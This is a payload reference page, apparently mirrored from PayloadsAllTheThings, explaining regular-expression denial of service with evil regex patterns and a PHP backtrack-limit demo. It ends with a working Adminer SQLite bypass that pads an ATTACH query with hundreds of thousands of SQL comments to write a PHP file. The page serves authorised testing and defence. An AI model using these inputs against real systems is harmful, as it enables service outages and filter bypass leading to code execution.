Skip to content

Payloads · Injection and Smuggling

Regular Expression

Regular Expression Denial of Service (ReDoS) is a type of attack that exploits the fact that certain regular expressions can take an extremely long time to process, causing applications or services to become unresponsive or crash.

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.

Disclosed reports of this class

3 of 3 passages

Passages
  1. Regular Expression
  2. Evil Regex
  3. Backtrack Limit

Regular Expression

SourceOn the Atlas

> Regular Expression Denial of Service (ReDoS) is a type of attack that exploits the fact that certain regular expressions can take an extremely long time to process, causing applications or services to become unresponsive or crash.

Evil Regex

SourceOn the Atlas

Evil Regex contains: * Grouping with repetition * Inside the repeated group: * Repetition * Alternation with overlapping **Examples**: * `(a+)+` * `([a-zA-Z]+)*` * `(a|aa)+` * `(a|a?)+` * `(.*a){x}` for x \> 10 These regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!` (20 'a's followed by a '!').

aaaaaaaaaaaaaaaaaaaa!

For this input, the regex engine will try all possible ways to group the `a` characters before realizing that the match ultimately fails because of the `!`. This results in an explosion of backtracking attempts.

Backtrack Limit

SourceOn the Atlas

Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings. **PHP PCRE configuration options**: | Name | Default  | Note | | -------------------- | -------- | ------------------------ | | pcre.backtrack_limit |  1000000 | 100000 for `PHP < 5.3.7` | | pcre.recursion_limit |  100000 | / | | pcre.jit | 1  | / | Sometimes it is possible to force the regex to exceed more than 100 000 recursions which will cause a ReDOS and make `preg_match` returning false:

$pattern = '/(a+)+$/';
$subject = str_repeat('a', 1000) . 'b';

if (preg_match($pattern, $subject)) {
    echo "Match found";
} else {
    echo "No match";
}

**Real-Word case: Adminer SQLite RCE**: Adminer used a regular expression to prevent SQLite queries beginning with ATTACH:

$pattern = "~^(?:\\s|/\\*[\s\S]*?\\*/|(?:#|--)[^\n]*\n?|--\r?\n)*+ATTACH\\b~i";
if(preg_match($pattern, $query, $match)){
 die('error');
}

The check treated both `0` (no match) and `false` (regular expression evaluation failure) as an allowed query. An attacker could prefix an `ATTACH` query with hundreds of thousands of empty SQL comments:

<?php
$payload = <<<'SQL'
ATTACH DATABASE 'lol.php' AS lol;
CREATE TABLE lol.pwn (data text);
INSERT INTO lol.pwn (data) VALUES ('<?php phpinfo(); ?>');
SQL;

echo str_repeat("--\n", 350000) . $payload;

Processing the comments exhausted PHP PCRE's backtracking limit. `preg_match()` returned `false`, which the application confused with a clean non-match. The blocked `ATTACH` query was consequently executed.

Data as of 2026-11-14.

Updated AboutDevelopersSign in